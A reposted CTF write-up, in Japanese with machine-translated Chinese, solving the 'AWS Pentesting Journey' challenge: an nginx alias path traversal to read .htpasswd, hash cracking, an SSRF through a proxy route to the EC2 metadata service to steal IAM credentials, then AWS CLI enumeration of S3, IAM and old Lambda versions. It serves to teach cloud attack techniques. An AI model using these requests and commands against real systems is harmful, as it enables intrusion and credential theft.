Security-JAWS DAYS CTF Writeups

WriteUp 8个月前 admin
161 0 0

[Hard] AWS Pentesting Journey
[硬] AWS 渗透测试之旅

まず、nginx.confを見ると以下の箇所でいつものパストラバーサルがある。
首先,如果你看一下nginx.conf,你会在以下地方看到通常的路径遍历:

https://qiita.com/no1zy_sec/items/e541f1c838874ff400bb

        location /assets {
                alias /usr/share/static/;
        }

これを利用して以下のように/usr/share/secret/.htpasswdを取ってくる。
使用这个, /usr/share/secret/.htpasswd 我们将采取以下 .

GET /assets../secret/.htpasswd HTTP/1.1
Host: apjweb.scjdaysctf2023.net
Connection: close

sjctf@dmin:$apr1$eGvegZM6$GeFQvXGEl/hRtY2SkqePY.と得られる。  sjctf@dmin:$apr1$eGvegZM6$GeFQvXGEl/hRtY2SkqePY. 并获得了。
johnでクラックしてみるとクラックできてパスワードが得られる。
如果你用约翰破解它,你可以破解它并获得密码。

password (sjctf@dmin)
この認証情報で/admin/に入れる。  /admin/ 使用此凭据输入。
phpMyAdminが動いているが何か面白そうなものは得られない。
phpMyAdmin正在运行,但我无法获得任何有趣的东西。

                location ~^/admin/proxy/(?<proxy_host>.*?)/(?<proxy_path>.*)$ {
                        proxy_pass http://$proxy_host/$proxy_path;
                        proxy_set_header Host $proxy_host;
                }

なんかSSRFできそうな雰囲気があり、調べるとSSRFできる。
有一种氛围,SSRF可以做到,当我查它时,我可以SSRF。

https://qiita.com/no1zy_sec/items/2718f4a99bb8368ac374
よって  因此
http://apjweb.scjdaysctf2023.net/admin/proxy/169.254.169.254/latest/meta-data/
みたいにしてみると、いつもの出力が得られるので巡回する。
如果你尝试做这样的事情,你可以得到通常的输出,所以它将被巡逻。

http://apjweb.scjdaysctf2023.net/admin/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/ec2role_p1lhf6h4q395qu1
ここを見ると認証情報が得られる。  您可以通过查看此处获取身份验证信息。

            "AccessKeyId" : "[REDACTED]",
            "SecretAccessKey" : "[REDACTED]",
            "Token" : "[REDACTED]",

これを以下のように入れて、 按如下方式输入,

[ctf-hard-aws-pentesting-journey]
aws_access_key_id = [REDACTED]
aws_secret_access_key = [REDACTED]
aws_session_token = [REDACTED]

色々巡回すると、S3に面白そうなファイルが置いてある。
当我四处走动时,我在 S3 上发现了一个有趣的文件。

$ aws s3 ls --profile ctf-hard-aws-pentesting-journey
2023-08-13 23:13:07 backup-37szjp8pny7xx01
2023-08-26 22:43:13 camouflagedrop-wxhqft4lqf-assets-wxhqft4lqf-assets
2023-08-26 22:39:22 camouflagedrop-wxhqft4lqf-web-wxhqft4lqf-static
2023-08-22 20:16:14 cdk-hnb659fds-assets-055450064556-ap-northeast-1
2023-08-25 03:05:46 file-storage-afeffefespntbaiw7o5
2023-08-06 21:55:59 himituno-bucket1
2023-08-06 21:58:33 himituno-bucket2
2023-08-06 23:08:46 himituno-bucket3
2023-08-27 02:41:30 my-backup-file-ulxmhiw3jroec7sclynr06fkvhqssf
2023-08-22 20:56:47 s3misssignurl-t6j4qj4r-assets-t6j4qj4r-assets-bucket
2023-08-22 20:52:31 s3misssignurl-t6j4qj4r-web-t6j4qj4r-static-host-bucket
2023-08-24 04:24:09 totemo-kawaii-neko-no-namae-ha-lise-desu
2023-08-27 01:18:59 ulxmhiw3jroec7sclynr06fkvhqssf

$ aws s3 ls s3://backup-37szjp8pny7xx01 --profile ctf-hard-aws-pentesting-journey
                           PRE dbbackup/
2023-08-14 03:02:43         99 dboperator_accessKeys.csv

$ aws s3 cp s3://backup-37szjp8pny7xx01 . --profile ctf-hard-aws-pentesting-journey --recursive

何やら大切そうなデータが見つかる。 您可以找到似乎很重要的数据。
別のDBオペレータのアクセスキーが入っている。  包含其他数据库操作员的访问密钥。

$ aws configure --profile ctf-hard-aws-pentesting-journey-dboperator
AWS Access Key ID [None]: [REDACTED]
AWS Secret Access Key [None]: [REDACTED]
Default region name [None]: ap-northeast-1
Default output format [None]:

$ aws sts get-caller-identity --profile ctf-hard-aws-pentesting-journey-dboperator
{
    "UserId": "[REDACTED]",
    "Account": "[REDACTED]",
    "Arn": "arn:aws:iam::055450064556:user/dboperator"
}

$ aws iam list-attached-user-policies --user-name dboperator --profile ctf-hard-aws-pentesting-journey-dboperator
{
    "AttachedPolicies": [
        {
            "PolicyName": "dboperator",
            "PolicyArn": "arn:aws:iam::055450064556:policy/dboperator"
        }
    ]
}

$ aws iam get-policy --policy-arn arn:aws:iam::055450064556:policy/dboperator --profile ctf-hard-aws-pentesting-journey-dboperator
{
    "Policy": {
        "PolicyName": "dboperator",
        "PolicyId": "[REDACTED]",
        "Arn": "arn:aws:iam::055450064556:policy/dboperator",
        "Path": "/",
        "DefaultVersionId": "v6",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-08-13T18:18:19+00:00",
        "UpdateDate": "2023-08-13T18:57:09+00:00",
        "Tags": []
    }
}

$ aws iam get-policy-version --version-id v6 --policy-arn arn:aws:iam::055450064556:policy/dboperator --profile ctf-hard-aws-pentesting-journey-dboperator
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Action": [
                        "lambda:List*",
                        "lambda:GetFunction",
                        "lambda:InvokeFunction"
                    ],
                    "Resource": "arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup*"
                },
                {
                    "Effect": "Allow",
                    "Action": [
                        "iam:Get*",
                        "iam:List*"
                    ],
                    "Resource": [
                        "arn:aws:iam::055450064556:policy/dboperator",
                        "arn:aws:iam::055450064556:user/dboperator"
                    ]
                }
            ]
        },
        "VersionId": "v6",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-13T18:57:09+00:00"
    }
}

$ aws lambda get-function --function-name 'arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator

"Location": "[REDACTED]"

lambdaの関数が参照可能。DBバックアップのために実行しているlambdaのスクリプトっぽい…が何もない。
可以引用 Lambda 函数。 它看起来像一个为数据库备份运行的 lambda 脚本…… 什么都没有。

バージョンを見てみると、複数バージョンあった。  查看版本,有多个版本。

$ aws lambda list-versions-by-function --function-name 'db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator

"Version": "1",
"Version": "2",

$ aws lambda get-function --function-name 'arn:aws:lambda:ap-northeast-1:055450064556:function:db-buckup' --profile ctf-hard-aws-pentesting-journey-dboperator --qualifier 1
...
"Location": "[REDACTED]"

古いバージョンのコードが取得でき、こちらでは認証情報がそのまま格納されていた。
检索了旧版本的代码,身份验证信息按原样存储在此处。

これを使って、phpmyadminに入るとフラグが入ったsecretdataというデータベースが見つかる。
使用它,输入phpmyadmin,你会发现一个名为secretdata的标记数据库。

原文始发于hamayanhamayan:Security-JAWS DAYS CTF Writeups

版权声明:admin 发表于 2023年8月30日 上午9:28。
转载请注明:Security-JAWS DAYS CTF Writeups | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...